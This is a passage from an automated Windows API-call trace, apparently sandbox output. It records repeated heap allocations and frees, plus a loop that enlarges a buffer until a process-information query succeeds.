Size=0xe) returned 0x174b90 [0160.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42be49b0) returned 1 [0160.382] Sleep (dwMilliseconds=0x64) [0161.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x42b849e0 [0161.055] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849e0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x42b849e0, ResultLength=0x0) returned 0xc0000004 [0161.056] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849e0, Size=0x2048) returned 0x4264e500 [0161.056] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4264e500, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4264e500, ResultLength=0x0) returned 0xc0000004 [0161.056] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4264e500, Size=0x306c) returned 0x42ba49e0 [0161.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ba49e0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ba49e0, ResultLength=0x0) returned 0xc0000004 [0161.057] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ba49e0, Size=0x4090) returned 0x423aa080 [0161.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423aa080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x423aa080, ResultLength=0x0) returned 0xc0000004 [0161.057] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423aa080, Size=0x50b4) returned 0x42be49b0 [0161.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.058] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x60d8) returned 0x42be49b0 [0161.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.058] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x70fc) returned 0x42be49b0 [0161.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.059] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x8120) returned 0x42be49b0 [0161.059] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.059] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x9144) returned 0x42be49b0 [0161.059] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.060] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xa168) returned 0x42be49b0 [0161.060] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.060] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xb18c) returned 0x42be49b0 [0161.060] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.060] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xc1b0) returned 0x42be49b0 [0161.061] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.061] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xd1d4) returned 0x42be49b0 [0161.061] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.061] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xe1f8) returned 0x42be49b0 [0161.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.064] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xf21c) returned 0x42be49b0 [0161.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.065] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x10240) returned 0x42be49b0 [0161.065] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.065] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x11264) returned 0x42be49b0 [0161.065] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.066] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x12288) returned 0x42be49b0 [0161.066] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.066] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x132ac) returned 0x42be49b0 [0161.067] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.067] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x142d0) returned 0x42be49b0 [0161.067] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.068] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x152f4) returned 0x42be49b0 [0161.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.068] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x16318) returned 0x42be49b0 [0161.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.069] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1733c) returned 0x42be49b0 [0161.069] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.069] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x18360) returned 0x42be49b0 [0161.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.070] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x19384) returned 0x42be49b0 [0161.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.071] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1a3a8) returned 0x42be49b0 [0161.071] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.071] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1b3cc) returned 0x42be49b0 [0161.071] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.072] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1c3f0) returned 0x42be49b0 [0161.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.072] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1d414) returned 0x42be49b0 [0161.073] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.073] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1e438) returned 0x42be49b0 [0161.073] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.074] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1f45c) returned 0x42be49b0 [0161.074] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.074] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x20480) returned 0x42be49b0 [0161.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.075] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x214a4) returned 0x42be49b0 [0161.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.076] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x224c8) returned 0x42be49b0 [0161.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.076] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x234ec) returned 0x42be49b0 [0161.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.077] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x24510) returned 0x42be49b0 [0161.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.078] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x25534) returned 0x42be49b0 [0161.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.078] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x26558) returned 0x42be49b0 [0161.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.079] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2757c) returned 0x42be49b0 [0161.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.080] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x285a0) returned 0x42be49b0 [0161.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.080] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x295c4) returned 0x42be49b0 [0161.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.081] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2a5e8) returned 0x42be49b0 [0161.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.082] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2b60c) returned 0x42be49b0 [0161.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.082] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2c630) returned 0x42be49b0 [0161.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.083] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2d654) returned 0x42be49b0 [0161.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.084] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2e678) returned 0x42be49b0 [0161.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2e678, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0161.085] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2f69c) returned 0x42be49b0 [0161.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2f69c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0x0 [0170.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0170.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0170.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d1c0 [0170.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d1c0 [0170.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0170.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0170.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0170.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0170.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0170.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42c1c950 [0170.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c1c950 [0170.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0170.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c1c950 [0170.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c1c950 [0170.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1c950 [0170.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1c950 [0170.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1c950 [0170.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0170.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42c1c950 [0170.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7a9e20 [0170.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a9e20) returned 1 [0170.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c8f0 [0170.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0170.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c1c950 [0170.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7a9e20 [0170.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a9e20) returned 1 [0170.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c8f0 [0170.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0170.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7a9e20 [0170.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a9e20) returned 1 [0170.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42c1c950 [0170.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1c950 [0170.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0170.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c1c950 [0170.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0170.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0170.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0170.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c1c950 [0170.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0170.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c1c950 [0170.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7a9e20 [0170.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a9e20) returned 1 [0170.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0170.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0170.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1c950 [0170.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0170.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 